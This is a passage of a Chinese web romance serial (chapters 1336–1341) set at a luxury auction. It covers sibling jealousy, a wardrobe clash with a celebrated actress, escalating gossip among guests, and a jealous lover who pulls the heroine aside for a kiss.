而许愿,只是坐在那里,就轻易地夺走了所有人的目光。 这种巨大的落差,让她感到前所未有的挫败和屈辱。 她甚至能感觉到周围有人在低声议论,目光在她和许愿之间游移,比较着她们姐妹俩。 或许有人在猜测她的身份,或许有人在议论她的礼服,或许有人在暗自嘲笑她的不自量力。 许宁的呼吸变得有些急促,她的目光依旧死死地盯着许愿,眼底的恨意如同深渊,深不见底。 许宁暗暗咬牙,心中的不甘和愤恨几乎要从眼底喷薄而出。 她盯着许愿的身影,嫉妒和恨意如潮水般翻涌不息,但她清楚,此刻不是失控的时候。 她深吸一口气,努力压下心底的波澜,用尽全力扯出一抹笑意,那笑容虽精致,却带着一丝勉强和刻意,像面具一般挂在脸上。 她整理了一下情绪,迈着优雅却略显僵硬的步伐,径直走向傅京礼身边。 在走过去的途中,许宁甚至故意抚摸了下鬓角的发,动作轻柔,仿佛在不经意间展现自己的妩媚与风情。 其实,这一切都是她精心设计的举动。她想让在场的每一个人都注意到她,尤其是那些自诩高贵的名媛们。 她想用这个动作,无声地宣告自己的存在,用刻意营造的优雅和自信,让那些刚才轻视她的人重新审视自己,但她根本不知道这样更衬得自己像是小丑。 她坐到傅京礼身边,特意将身体微微向他靠拢,形成一种亲密的姿态,仿佛这样就能拉近自己与上流社会的距离,让那些名媛们不得不在意她、羡慕她。 落座后,许宁轻轻向傅京礼致歉:“抱歉,我来晚了,今天有点事情要处理,所以才这个时间赶到。” 傅京礼表面看起来依旧冷淡,眉宇间带着惯有的疏离,但当他看向许宁时,眼神深处却藏着几分温柔。他淡淡地回应:“没事,人来了就行。” 许宁知道傅京礼没有生气才真的完全放下心来。 许宁很清楚,许愿喜欢傅京礼。 她早已从各种渠道得知,许愿喜欢傅京礼,所以大概是为了报复,她此刻故意伸出手,轻柔地握住了傅京礼的手。 她的动作看似自然,实则带着一丝炫耀和挑衅。 她眉眼弯弯,嘴角噙着一抹甜蜜的笑意,故作亲昵地与傅京礼交谈着,时不时低低浅笑,仿佛她与傅京礼之间有着别人无法介入的亲密。 第1336章 你哪里都是最好的 许愿果然看到了这一幕。 她当然认得许宁,那个同父异母的妹妹,从小到大,她们的关系一直复杂而微妙。 许愿的目光在许宁和傅京礼之间流转,她完全不知道许宁是怎么跟傅京礼走这么近的。 在她的印象中,傅京礼是个极为冷漠、难以接近的人。他鲜少与人亲近,对待感情更是理智到近乎冷酷,几乎没人能真正走进他的世界。 可此刻,许宁却能在他身边言笑晏晏,举止亲昵,两人之间的氛围甚至带着几分旁人无法介入的默契。 许愿眉头微微皱起,她试图让自己看起来不在意,但内心却无法彻底平静。 她告诉自己,傅京礼的选择与她无关,他的身边人是谁,她不该在意,也不该关心。 可理智归理智,感情却难以控制。 要说许愿完全不在乎傅京礼,那其实是有些过于可笑了。 她确实还在意他,还在意他的一举一动,还在意他身边的那个人是谁。 许愿努力维持着表面的平静,她微微低头,端起桌上的香槟,轻轻抿了一口,试图用这个动作掩饰自己的情绪。 她告诉自己,不要在意,不要被影响,但目光却总是不自觉地飘向许宁和傅京礼的方向。 她看到许宁故作亲昵地与傅京礼交谈,看到傅京礼虽冷淡却并未拒绝许宁的亲近,甚至偶尔流露出几分温柔。 周围的人也开始注意到许宁与傅京礼的互动。那些刚才还对她身份存疑的名媛们,此刻也开始重新审视她。 她们看到傅京礼对许宁的态度,看到两人之间的亲密,不禁开始猜测许宁的真实身份,以及她与傅京礼的关系。 察觉到了许愿对傅京礼的关注。 盛景炎修长的手指轻轻握住许愿的手,动作自然又带着几分亲昵。 他的目光专注而深邃,仿佛能穿透她强装镇定的外表,直抵心底。 察觉到许愿的注意力有些涣散,他微微倾身,声音低沉地问:“在想什么?你在想傅京礼?”那声音里带着一丝探究,也夹杂着不易察觉的醋意。 许愿一怔,没想到盛景炎竟会如此直接地戳穿她的心事。 她顿了顿,目光与他交汇,最终坦然承认:“你猜到了还问我?” 盛景炎握着她手的力道微微加重了几分。 那力度并不粗暴,甚至可以说是温柔,不会让她感到疼痛,却让她清楚地感受到他的存在。 盛景炎嘴角扬起一抹浅笑,缓缓说道:“不如多想想我呢?我想,我应该比傅京礼好太多了。” 许愿挑眉,眼中闪过一丝趣味,故作不解地问:“为什么这么说?”她知道盛景炎一向言辞犀利,却没想到他会如此直接地和傅京礼作比较。 盛景炎笑意更深,语气中带着几分调侃与笃定:“大概因为他眼神不好吧。”这句看似轻描淡写的话,其实是在含蓄地吐槽许宁。 盛景炎的眼光何等毒辣,他早已看出许宁的刻意与矫揉造作。 即便她穿着高档礼服,价值不菲的珠宝点缀其间,却仍旧掩盖不了骨子里的小家子气。 她的举止、她的姿态,都带着几分用力过猛的痕迹,仿佛在拼命证明自己的存在。 这种做作,在真正的上流圈层中,反而显得格格不入。 穿什么衣服,做出什么姿态,他们这圈层的人并不是很在乎。 真正的名门望族,更看重的是气质、底蕴,以及言行举止中流露出来的涵养。 出现在这种场合,矫饰只会适得其反。 可许宁没参加过这种高档拍卖会,根本不知道其中的缘由。她以为穿上昂贵的礼服,坐到傅京礼身边,就能成为焦点,赢得尊重。殊不知,这样的举动,在真正有底蕴的人眼中,只是徒增笑柄。 许宁此刻的做作与炫耀,只能引来一些小家族的附和与装模作样地捧场。那些真正出身大家族的人,譬如韩城,甚至都懒得看她一眼,只觉可笑。 韩城那样的人,从小浸淫在顶级圈层,对于这种“暴发户”式的表演,只会嗤之以鼻。 许愿轻笑一声:“我就当你是在夸我了。” 盛景炎语气温柔:“我就是在夸你。你哪里都是好的。”顿了顿,他又补充一句:“不,应该是你哪里都是最好的。” 许愿被他的话逗笑了,眼底闪过一丝温柔。 她轻轻回握了一下盛景炎的手。 许宁那边依旧在努力扮演着焦点角色,她偶尔会朝许愿这边投来探究和嫉妒的目光,却只能看到许愿与盛景炎的亲密互动。 许宁内心的不甘和愤恨愈发强烈,她不明白,为什么无论自己如何努力,始终无法超越许愿。 而许愿,只是安静地坐在盛景炎身边,无需刻意表现,就能轻易赢得众人的关注和欣赏。 韩城依旧冷淡地坐在不远处,偶尔投来一个漠然的眼神,对许宁的表演视若无睹。 那些真正出身高贵的人,都明白圈层的规则和底蕴,他们不会被表面的华丽所迷惑。 只有那些渴望融入却又不得其门而入的人,才会对许宁的做作趋之若鹜。 …… 许宁正沉浸在与傅京礼低声交谈的氛围里,她刻意压低声音,嘴角挂着恰到好处的微笑,试图在傅京礼面前展现自己的优雅与亲和。她不时瞥向周围,暗自观察那些名媛们的反应,心中还盘算着如何进一步巩固自己此刻的“地位”。 她以为,自己穿着昂贵的礼服,坐在傅京礼身边,已经成了全场的焦点,甚至有些得意洋洋,想着许愿或许正暗自失落。 可就在这时,许宁忽然捕捉到周围人的窃窃私语,那些声音细碎而密集,像一根根细针扎进她的耳朵。 她下意识地停下了与傅京礼的交谈,努力捕捉那些断断续续的话语。 “好明显的对比啊……” “这身衣服穿在温栩栩身上怎么这么漂亮……” “天啊,她怎么敢跟温栩栩穿同款的!” “跟温栩栩穿同款,她真的是小丑吧!” 许宁愣住了,一时间有些茫然,不明白这些议论究竟是谁。 第1337章 撞衫 但她知道温栩栩,那个最近在娱乐圈爆红的女艺人,凭借出众的外貌和精湛的演技迅速走红,成为无数媒体追逐的焦点。 许宁记得温栩栩的照片,那是一个公认的大美人,漂亮得几乎让人难以忽视。 她心里甚至泛起一阵嘲讽,到底是哪个笨蛋这么不长眼,敢跟温栩栩撞衫?最好就是许愿,那样她就可以好好幸灾乐祸一番了。 带着这样的念头,许宁抬起头,想看看那个“蠢货笨蛋”是谁,想从对方的窘迫中找到自己的优越感。 然而,当她环视四周时,却发现几乎所有的目光都聚焦在自己身上。 那些眼神里带着毫不掩饰的讽意,有惊讶,有不屑,有嘲弄,甚至有人掩嘴偷笑。 许宁的心一下子咯噔一下,一股不祥的预感涌上心头,她感到一阵莫名的慌乱,仿佛自己突然成了众矢之的。 她的目光不由自主地转向议论的源头,终于看到了温栩栩。 那一刻,许宁的血液仿佛凝固了。 温栩栩身上穿着的礼服,竟然和自己身上的是同一件! 一样的设计,一样的剪裁,一样的颜色。 可当这件礼服穿在温栩栩身上时,却仿佛被赋予了全新的生命,美得让人移不开眼。 温栩栩真的太漂亮了。 她肌肤白皙柔嫩,像是上好的羊脂玉,在灯光下泛着细腻的光泽,仿佛轻轻一碰就会留下指痕。脸庞精致得如同雕刻,眉如远黛,眼若秋水,睫毛纤长而卷翘,轻轻眨动时仿佛能撩动人心。她的鼻梁高挺,唇色自然红润,微微勾起时带着一抹淡雅的笑意,既不失亲和,又带着几分疏离。 她的身材更是无可挑剔,凹凸有致,曲线玲珑。 礼服完美地勾勒出她曼妙的身姿,她站在那里,每一个动作都散发着优雅与自信。 温栩栩的美,不仅仅是外在的,更是一种由内而外的气质。 她举手投足间带着一种从容与淡定,仿佛这场合对她来说不过是日常的一部分。 她的头发柔顺地披散在肩上,几缕发丝随着她的动作轻轻晃动,增添了几分灵动。她的妆容精致而自然,既突出了她的优点,又不显得刻意。 她的耳畔挂着一对小巧的钻石耳钉,手腕上戴着一只简约的玉镯,这些配饰并不张扬,却恰到好处地提升了整体的质感。 相比之下,许宁的礼服虽然也是同款,却显得有些格格不入。 她的肌肤虽然也算白皙,但与温栩栩相比就逊色了许多,缺乏那种细腻的光泽。她的身材虽然也不错,但与温栩栩的完美曲线相比就显得有些平板。她的妆容过于浓艳,试图用外在的修饰来掩盖内心的不安,却反而暴露了她的刻意与做作。她的配饰虽然昂贵,但搭配得有些杂乱,没有温栩栩那种简约而不简单的美感。 许宁感到一阵强烈的对比冲击,她终于明白为什么周围的人会用那样的眼神看着自己。 她本以为自己穿着同款礼服会成为焦点,却没想到反而成了衬托温栩栩的绿叶。 那些刚才还在对她点头微笑的人,此刻都转而将目光投向了温栩栩,眼神中充满了欣赏与赞叹。 而她,却成了众人窃窃私语中的笑柄。 许宁的心里涌起一阵羞恼与不甘。 她不明白,为什么同样是这件礼服,穿在温栩栩身上就能美得让人窒息,而穿在自己身上却显得如此平庸。 她试图挺直腰背,努力保持镇定,但内心的慌乱却无法掩饰。 她甚至能感觉到傅京礼的目光也转向了温栩栩看了一眼,许宁呼吸都跟着一滞。 许宁感到一阵窒息,她知道自己此刻的处境有多么尴尬。 她想找个地缝钻进去,却又不得不强装镇定。 周围的议论声还在继续,那些话语像针一样扎在许宁的心上。 “你看温栩栩,穿什么都这么好看。” “有些人就是不适合这件礼服,硬要穿,反而显得俗气。” “真是自取其辱,跟温栩栩撞衫,这不是给自己找难堪吗?” “丑人多作怪。” “到底是哪家的千金?我怎么没有见过她?我们圈子还有这么蠢的人?” 被这样议论,许宁自然是恨的。 许宁的目光像淬了毒的刀锋,死死地钉在温栩栩身上。她咬紧后槽牙,腮帮微微鼓动,指节攥得发白,仿佛要将全身的怨毒都倾注在这道视线里。 在她看来,温栩栩的出现,温栩栩那无懈可击的美丽,就像一盆冰水,当头浇灭了她好不容易营造出的虚幻光环。 是温栩栩,让她成了众人眼中的笑柄,让她精心准备的一切都显得如此可笑。 她甚至觉得,这根本就是一场针对她的阴谋,温栩栩就是那个幕后推手,用她的美丽和优雅,将自己钉在了耻辱柱上。 许宁的眼神里充满了恨意、不甘和歇斯底里的嫉妒,仿佛要用目光在温栩栩身上剜出几个洞来。 然而,面对许宁那几乎要化为实质的怨毒视线,温栩栩只是微微挑了挑眉梢。 她甚至没有过多地去回应许宁的敌意,她的目光平静无波,仿佛许宁的愤怒和不甘并不在意。 一个身影姗姗来迟走到温栩栩身侧。 是墨澜。 温栩栩感受到墨澜的靠近,微微侧过头,那张足以颠倒众生的脸上,此刻却带着一丝无奈的浅笑。 她压低了声音,用只有她们两人能听到的音量,对墨澜小声道:“墨澜,你好像让我跟其他人撞衫了。”她的语气里带着一丝调侃,但更多的是一种“果然如此”的了然,甚至还有几分看热闹的趣味。“有点尴尬啊。”她补充道。 墨澜闻言,唇角勾起一抹极淡的笑意,那笑容里带着几分不以为意和一丝狡黠。 她同样用极低的声音回应,语气从容而笃定:“尴尬的,应该是其他人吧。”墨澜的目光不着痕迹地扫过许宁的方向。 温栩栩听了,轻笑一声,那笑容里带着一丝无奈和认同:“我说的,就是对方尴尬啊。” 第1338章 可以把你的爪子挪下去吗 墨澜顺着温栩栩的目光看过去,这才真正将注意力放在了那个与温栩栩穿着同款礼服的女子身上。 墨澜的眼神微微一凝,眉头几不可察地轻轻皱了一下。 他看到了许宁那张因嫉妒和愤怒而略显扭曲的脸,看到了她眼中毫不掩饰的恨意。 墨澜的眼神里闪过一丝不悦,他不喜欢这种充满恶意的目光,尤其是当这目光落在温栩栩身上时。 墨澜正要对温栩栩说点什么,然而,就在准备开口的瞬间,墨澜的目光不经意地扫过会场的另一侧,一个熟悉的身影映入眼帘。 墨澜的眼神倏地一顿,随即,一声极轻的“啧”从她唇边逸出,带着一丝恍然一丝懊恼还有一丝“糟糕”的预感。 “我好像……忘记了一件事情。”墨澜的声音里带上了一丝不易察觉的懊悔。 温栩栩正侧头看着她,闻言挑眉,有些疑惑地问:“什么事?” 墨澜的表情有些微妙,微微偏过头,目光再次确认了一下那个身影,然后有些头疼地对温栩栩说道:“我忘记黎云笙也会参加这场拍卖会了。” 空气仿佛有那么一瞬间的凝滞。 温栩栩的表情瞬间变得有些精彩,她先是愣了一下,随即嘴角抽搐,用一种“你是在逗我吗”的眼神看着墨澜,半晌,才从牙缝里挤出一句:“……?墨澜,你能再不靠谱一点吗?” 她的语气里充满了无奈和一丝咬牙切齿的吐槽。 墨澜很明显的微微耸了耸肩表示自己的无奈,温栩栩现在有点想骂人。 倒不是说遇到黎云笙有什么不好,只是吧……嗯,她才把黎云笙送上车把人送走,还跟人说自己要去拍戏的,结果这才过了多久就跟墨澜一起出现在拍卖会现场了。 而且五分钟前她还给黎云笙发了条信息,信息内容就是告诉黎云笙自己马上就要去片场。 现在呢? 穿着墨澜送的礼服出现在拍卖会现场。 温栩栩满脑子只有三个大字,要完蛋。 对,这是真的要完蛋。 其实今晚温栩栩确实打算老老实实拍戏的,但耐不住墨澜那边出了点事,墨家到底是大家族,墨澜又是墨家的少爷,墨澜出道早,墨家那边已经有人开始给墨澜相看适合结婚的名媛千金,但墨澜这人就是轴,又轴又犟,就是不怎么喜欢商业联姻,再加上相亲的对象还是墨澜很讨厌的一位千金,所以墨澜根本就不想去,但墨家长辈让墨澜去参加拍卖会拍下几件珍品当做礼物给人带过去,墨澜心想拍什么礼物,没买临期牛奶都是好的。 墨澜知道临期牛奶这事儿还是在拍一部喜剧片的时候知道的,不然大少爷根本不清楚有人送礼会送临期牛奶。 可长辈都发话了,墨澜不去也觉得不太好,只能硬着头皮去,直到看到出现在片场的温栩栩,墨澜一瞬间就聪明起来了。 不是让他相亲吗?他怎么就不能说自己喜欢温栩栩爱而不得所以看不上其他人吗? 温栩栩长这样所以他看不上其他人这不是很正常的事情吗? 所以墨澜这才邀着温栩栩帮忙的。 在组里墨澜帮了温栩栩挺多的,所以温栩栩也没多想,心想着帮一下就帮一下,又不是什么大事,反正黎云笙也不会参加这拍卖会呢。 谁知道啊!这话说早了! 别说黎云笙参加拍卖会了,就是韩城韩越盛景炎这几个人都来了,哦,还有个一直贴着许愿的盛景炎。 真是完蛋。 对,完蛋玩意儿还是她自己。 温栩栩现在就想脚底抹油先开溜了。 “要不你自己先扛着,我就先回组了?”温栩栩轻咳一声小声回应。 墨澜面带微笑在她耳边小声道:“温栩栩,你这么害怕黎云笙的?” 什么叫怕啊,温栩栩想自己在黎云笙面前可支棱了,上蹿下跳的,如果她是一只鸟,说不定现在都已经蹲在黎云笙头顶把他头发当鸟窝了,都已经嚣张成这样了,还害怕黎云笙?没在怕的! “那根本不是害怕的事儿,你不知道,我五分钟前才发了信息说我要去拍戏了你明白吗,五分钟,我是超人吗一下子从剧组飞到拍卖会现场。” 温栩栩说这话的时候都挺对自己无语的。 墨澜唇角抽了抽,再抬头就对上黎云笙看过来的冷漠的眼神。 墨澜:“……” “超人,你男朋友瞪我。”墨澜说。 温栩栩:“……”不是超人,不是男朋友,谢谢。 温栩栩抬手揉了揉眉心:“瞪你就瞪你吧,谁让你把我撺弄来这里了,不瞪你瞪谁啊,还有,不是超人,不是男朋友。” 墨澜沉默了下:“哦,那你老公。” 温栩栩:“……” 还真是谢谢你给她面子啊! 又是男朋友又是老公的,不知道的还真以为他们两个人修成正果在一起了呢。 温栩栩眼皮子都开始不停的跳了,又是叹气又是无奈的,等过了好一会儿才重新抬头看向黎云笙,同样的也对上了黎云笙看过来的眼神,温栩栩下意识的后退了两步,嗯,如果可以,她不仅仅是想退后两步,还想直接退出拍卖会。 “瞪你算什么,这不是也瞪我了吗。”温栩栩小声蛐蛐。 墨澜:“……” 墨澜扬了下眉,直接伸出手勾搭住温栩栩的肩膀,笑眯眯:“我有个好主意。” 温栩栩被他突然的动作给吓了一吓,眼睛都瞪圆了。 什么好主意啊突然勾她肩膀,知道你突然这样让她很慌吗,你这跟突然嗷呜的比格有什么区别吗,做个人行吗,不要祸害她了啊! 温栩栩眼皮子跳了又跳。 “有主意就有主意,先把你的爪子放下去。” 墨澜听到“爪子”两个字唇角很明显的抽搐了下:“温栩栩,你不觉得你现在跟我熟了之后对我越来越不耐烦甚至是不给我面子了吗?” 爪子什么的,也就温栩栩敢对着他这么说,换别人谁敢啊。 温栩栩面带微笑:“所以可以把你的爪子挪下去了吗?” 墨澜不挪,也回以微笑。 第1339章 换我我也选墨澜 哇塞,温栩栩第一次知道墨澜也是可以这么狗的啊。 “你说你这跟打上门的小三有什么区别啊墨老师。”温栩栩简直是觉得离谱的程度。 墨澜:“?” 温栩栩现在确实是对他越来越不客气了,刚才他的手还被评价为爪子,现在就变成打上门的小三了?就不能说点好听的?他就不能是什么好人吗? 墨澜仍然在笑,只不过这一次几乎是被气笑的了。 当然,墨澜仍然没有放开自己的“爪子”。 拍卖会现场的人看这两人的眼神都已经不对付了,嘀嘀咕咕的说什么的都有了。 毕竟前一阵子《灵媒》才打算开拍的时候温栩栩跟成唯之间闹出了那么多乱子,成唯被逼着离开《灵媒》剧组后还是墨澜接手决定拍了这部剧,才没让这部剧从最开始被人群嘲。 那会儿多少人都嘲讽温栩栩跟墨澜之间关系匪浅,大概意思就是两个人可能有点别的感情,关系不纯粹。 那会儿名流圈子的人怎么可能相信这种事,拜托,那可是挑三拣四性格非常龟毛的墨澜,他能跟谁关系不纯粹?能跟异性谈感情?谁说这个他们都要回一句开玩笑的程度了。 可现在温栩栩和墨澜就是出现在了拍卖会的现场,且墨澜就是在跟温栩栩“眉目传情”。 这就是铁证,这两人多多少少有些不清白了。 敢情之前那阵子就是墨澜在为温栩栩站台,就是墨澜在帮温栩栩解决成唯,就是墨澜为了帮扶温栩栩才接拍了《灵媒》? 捋通了!全都捋通了! “我就说墨澜那时间都说了自己打算休假最少半个月时间了,怎么可能那么快就入组的,这位在圈子里面就是活祖宗,哪有经纪人让他入组他就入组的,现在看来明摆着就是为了温栩栩,墨澜为了捧温栩栩真是什么事都做得出来啊。” “以前怎么没发现墨澜谈起感情来也会这么认真这么宠的?我还以为这人只会开口怼人的,你看看现在笑的多灿烂,啧啧。” “黎氏捧温栩栩其实就是看在墨澜的面子上对吧,因为墨澜那边出面了,墨澜毕竟是墨家的少爷,而且我记得黎氏跟墨家好像即将有合作的,那黎氏想给墨家行个便利也不是不行,明白了,什么都明白了,怪不得黎云笙这么帮温栩栩呢,原来温栩栩是墨澜的人啊。” “啊?什么?温栩栩跟黎云笙不是那种关系?跟墨澜是那种关系?” “等会儿?你们刚才说什么?温栩栩是哪家千金,跟墨澜在一起很久了?我怎么没听说过啊?” “你们在传什么?温栩栩是千金小姐?还是跟墨澜青梅竹马一起长大从小就订下婚约的?哇塞!这是大新闻啊!” “什么只定了婚约,听说都已经偷偷举办婚礼了,因为墨家那边一直在催墨澜啊,而且墨澜也确实是到了结婚的年纪了,再加上墨澜的职业特殊性,所以墨澜隐婚也是有可能的啊!” “我听说墨澜跟温栩栩孩子都生了呢,结了婚了确实也该有孩子了,这俩人颜值这么高,生下来的孩子要好看成什么样子?” “不是?温栩栩不是才刚成年吗?刚成年就有孩子?墨澜这是犯罪啊!” “什么啊,怎么可能刚成年,就是娱乐圈的明星们总喜欢改年龄,听说刚成年出道更容易吸粉呢,肯定是改年龄了,说不定温栩栩现在跟墨澜一样大了。” “那也改的太多了!不过如果温栩栩这个年纪的话生孩子确实是可以理解了,而且孩子都给你墨家生了,出道当明星拍拍戏怎么了,这又不是多大的事儿。” “等会儿?怎么我听说的是温栩栩跟黎云笙有孩子?是我记错了吗?” “肯定是你记错了,黎云笙怎么可能有孩子,你要笑死我了哈哈哈哈黎云笙如果有孩子我就是狗,肯定是听错了,一定是黎云笙那边跟墨家有合作,所以帮忙带了下孩子,那温栩栩是孩子的妈妈,肯定是一起带了下孩子,能有什么其它暧昧关系,你不要看到一男一女就想东想西好不好!这孩子肯定是墨澜的。” “墨家进展就是快,这都已经有孩子了。” 八卦传的越来越快。 这边传一句,那边传一句,刚才都还在说温栩栩跟墨澜只是关系匪浅,现在就变成了温栩栩和墨澜结婚是夫妻了。 等这边的人传着墨澜和温栩栩是夫妻的时候就已经有空耳的人听成了温栩栩跟墨澜有孩子了,黎云笙反倒成了两人的爱情守护者,这都什么乱七八糟的。 韩城听得脑瓜子嗡嗡的,甚至有点超负荷的问了一旁满脸冷意的黎云笙一句:“你跟温栩栩分了?什么时候的事儿?真分了?你们两个不是才在一起吗?你前一秒不是还在跟我秀恩爱说温栩栩不让你抽烟让你吃糖?不是?你干什么了就让温栩栩把你踹了,这完全在我意料之外啊!” “做错事的肯定不是栩栩,肯定是你,你说你是不是背叛栩栩做了点什么事才让栩栩抛弃你跟墨澜在一起的?”韩城张口就来,这是半点面子都不给,完全不看看这时间这场合说这话对不对了。 韩越真的是非常想捂住韩城的嘴,但是韩城已经叭叭出来了。 黎云笙很轻很轻的笑了下:“你应该说是温栩栩背叛我才跟墨澜在一起。” 韩城一听,立刻咂舌:“那也能理解,毕竟你是个冰疙瘩,还是那种捂不化的那种,墨澜除了骚点也没别的毛病了,换我我也选墨澜。” 黎云笙:“……” 韩越:“……?” 盛景炎:“……啧” 几人的反应都有些古怪,黎云笙嗤笑一声,韩越则是更想捂住韩城的嘴巴让他闭住小嘴巴,少叭叭两句。 黎云笙眯着眼睛就看着站在不远处的两人,似笑非笑的。 黎云笙取出手机发给了温栩栩,温栩栩那边秒收到信息,现在都有点不敢看了。 拜托,温栩栩现在注意力就在黎云笙的身上,黎云笙这边发了信息她就收到了短信,那肯定是黎云笙给她发信息了,那能说什么好话吗? 不敢看不敢看! 谁爱看谁看。 第1340章 谈恋爱的人都这么无耻的? 温栩栩继续面带微笑有点僵硬的笑着,然后赶紧拽着墨澜的袖子:“赶紧找地方坐啊,别在这里丢人了,我们都已经迟到了。” 墨澜完全不在意:“没人敢明面上蛐蛐我。” 这话确实是这样,没瞧着圈子里的人都暗地里面给他蛐蛐出来一个孩子吗。 话是这么说,但墨澜还是跟温栩栩落座了,而从始至终,许宁的目光都没从温栩栩的身上移开。 她听了一耳朵墨澜和温栩栩之间的八卦,此刻眼底的恨意更浓了,她确实是恨她们这样的出身,明明已经长得这样漂亮了,偏偏还是天之骄女,更衬得她像是小丑。 不过大概是因为墨澜和温栩栩来了吸引了其他人的注意力,这次反倒没有人继续看许宁了。 比起许宁,他们还是更喜欢墨家少爷的八卦呢。 墨澜就是来走个过场的,也没拍东西,就是全程觉得自己被人盯着,浑身凉飕飕的,一回头就对上黎云笙冰冷的眼神,墨澜面无表情的转过头去侧头在温栩栩耳边小声“你男人又在瞪我,你给他发消息能不能让他别瞪我了?” 拜托!看她现在是敢看消息的样子吗? 她哪敢啊! 谁知道黎云笙发了什么信息了。 “不瞪你瞪谁,谁让你邀请我参加拍卖会了,而且你怎么知道他在瞪你,黎云笙就不能是在看你吗?明明就是友好的眼神交流,你却一定要睡黎云笙在瞪你,这到底是黎云笙的问题还是你的问题,肯定是你做贼心虚,就是你的问题,反正不是他的错,肯定是你的错。” 温栩栩叭叭几句,直接就把罪名安到墨澜身上了。 墨澜:“……” 墨澜又一次被气笑了。 “你们谈恋爱的人都这么无耻的?” 温栩栩微笑:“你再胡说我也要瞪你了哦。” 墨澜:“……” 招谁惹谁了? 墨澜这次没再去看黎云笙了,只是从黎云笙这个角度,墨澜却是一直在低头跟温栩栩聊天说话,这一幕实在是有点扎眼。 韩城偏偏还要凑过来,小声蛐蛐:“嘿嘿,你老婆跟人跑了,你还嘚瑟啊。” 韩越:“……”闭嘴吧祖宗!真的想挨揍吗! 黎云笙偏头扫他一眼,嗤笑一声,然后直接起身离开拍卖会。 倒是也没人拦着,反倒是温栩栩见人离开心有点慌,但是也不敢这会儿出去触他霉头,只想着黎云笙这会儿先走了也是好的,省的找她麻烦了,她晚些时间再去跟黎云笙解释清楚。 拍卖会进行到一半,温栩栩才跟墨澜说要去洗手间,其实就是想着先回一下黎云笙的消息。 人都走了也就没那么慌了嘛。 温栩栩漫不经心地溜达着,脚步轻盈,裙摆随着她的步伐微微荡漾。 她刚从拍卖会大厅里出来,周围的喧嚣与璀璨灯光渐渐被抛在身后,走廊里的气氛安静了许多,只剩下她高跟鞋轻敲地面的清脆声响。 她一边想着刚刚的场面,一边走向洗手间的方向,心里还带着一丝若有若无的无奈和调侃。 墨澜的“不靠谱”,今晚的意外撞衫,以及那些复杂的人际暗涌,都让她有些微的疲惫。 然而,她才走过几个房间,刚刚转过一个走廊的拐角,倏地,一扇门毫无征兆地打开了。 温栩栩下意识地警觉了一下,还没来得及做出反应,便感到一股温热的气息靠近。 下一刻,一只手臂倏然伸出,带着不容抗拒的力道揽住了她的腰,温热的掌心隔着薄薄的礼服布料,紧紧贴在她的腰侧,让她整个人瞬间失了重心,被一股不容抗拒的力量带进了半开的房门内。 门在身后轻轻合上,发出一声沉闷的“咔哒”轻响,仿佛将外界的一切隔绝开来。 温栩栩还没来得及惊呼,整个人已经被搂抱了个满怀。 她下意识地想要挣扎,却发现自己被牢牢地圈在对方的怀里,那怀抱带着熟悉的气息,让她瞬间怔住了。 她刚要开口,唇却已经被精准地捕捉住,温热的吻带着不容置喙的强势,不由分说地覆盖上来。 那一瞬间,温栩栩的呼吸跟着一滞,像是被人扼住了咽喉,所有的话语、所有的情绪都被这突如其来的吻堵在了喉咙里。 她下意识地睁大了眼睛,眼眸里闪过一丝惊讶和错愕,视线模糊地对上近在咫尺的俊朗面容,心里掀起一阵波澜。 她还没反应过来,黎云笙的气息已经强势地涌入她的感官,让她有些恍惚。 他的吻并不温柔,带着一丝惩罚性的意味,却又在强势中夹杂着某种隐秘的温柔。 他的唇瓣柔软而炽热,带着不容抗拒的力道,辗转反侧地掠夺着她的呼吸。 温栩栩感觉自己像是被卷入了一场突如其来的风暴,整个人都快要迷失在这片缠绵的漩涡里。 她下意识地伸手抵在他的胸前,想要推开他,却发现自己的力气在黎云笙面前显得如此微不足道。他的胸膛结实而温暖,隔着薄薄的衣料,她能清晰地感受到他有力的心跳,那心跳仿佛与她的呼吸交织在一起,让她整个人都跟着乱了节奏。 温栩栩的脑子里嗡嗡作响,一片混乱。 她试图保持理智想要推开他,可是所有的语言都被这缠绵的吻消融在了唇齿之间。 她能嗅到对方身上的味道,那是一种熟悉的、让她心跳加速的气息,是黎云笙独有的味道。 他的气息包裹着她,让她无法抗拒,也无法逃离。 不是走了吗! 温栩栩满脑子都是这样的念头,她明明以为黎云笙已经离开了,怎么还会在这里? 他故意在这里等她,故意用这种方式“钓”她呢是不是? 黎云笙这招也太损了吧! 她心里又气又恼,却又无可奈何。 她想要挣扎,想要质问,可是黎云笙的吻却越来越深,仿佛要将她整个人都吞噬进去。 他的手臂紧紧地环着她的腰,将她牢牢地固定在自己的怀里,让她无法动弹。 他的另一只手轻轻地托着她的后脑,让她无法逃离他的吻。温栩栩感觉自己整个人都快要软倒进他的怀中了,她的双腿发软,身体无力地倚靠在他的身上,只能任由他为所欲为。 第1341章 小心眼儿 黎云笙的吻渐渐变得温柔起来,带着一丝安抚和宠溺。 黎云笙的气息在她耳边低低地响起,带着一丝沙哑和温柔:“怎么,被我吓到了?” 她咬了咬唇,努力让自己保持清醒,她想要说话,却发现自己的声音都变得沙哑起来:“黎云笙,你故意的是不是?” 黎云笙眯眸,再次低头吻住她的唇,用行动回答了她的问题。 他的吻像是在安抚,又像是在宣誓,带着一种不容置喙的坚定。温栩栩感觉自己整个人都快要融化在他的怀里了,她放弃了挣扎,任由自己沉沦在这片温柔的漩涡里。 房间里的气氛变得暧昧而缠绵,只有他们两个人的呼吸声和心跳声交织在一起。黎云笙的手臂紧紧地环着她的腰,将她牢牢地固定在自己的怀里,仿佛要将她揉进自己的身体里。温栩栩的双手慢慢地环上了他的脖子,整个人都倚靠在他的身上,任由他亲吻着自己。 黎云笙的吻渐渐变得热烈起来,带着一种无法抑制的渴望。他的舌尖在她的口中肆意地掠夺着,带来一阵阵战栗。温栩栩感觉自己快要窒息了,她努力地呼吸着,却只能吸入黎云笙的气息。她的身体无力地倚靠在他的身上,任由他亲吻着自己,任由自己沉沦在这片温柔的漩涡里。 不知道过了多久,黎云笙终于放开了她。温栩栩的唇瓣微微红肿,带着一丝水润的光泽,她的眼眸里闪烁着迷离的光芒,呼吸还有些急促。 黎云笙看着她:“怎么,还没缓过来?”他的声音沙哑而低沉,但是还带着点莫名的情绪。 温栩栩咬了咬唇,努力让自己保持清醒,却发现自己根本无法抗拒黎云笙的魅力。 她推了推他,想要从他的怀里挣脱出来,却发现自己的力气根本无法与他抗衡。 她无奈地叹了口气,只能任由自己沉沦在他的怀里。 黎云笙轻轻地抱着她,感受着她的体温,感受着她的心跳。 他的声音在她耳边低低地响起:“你是不是要给我个解释?” 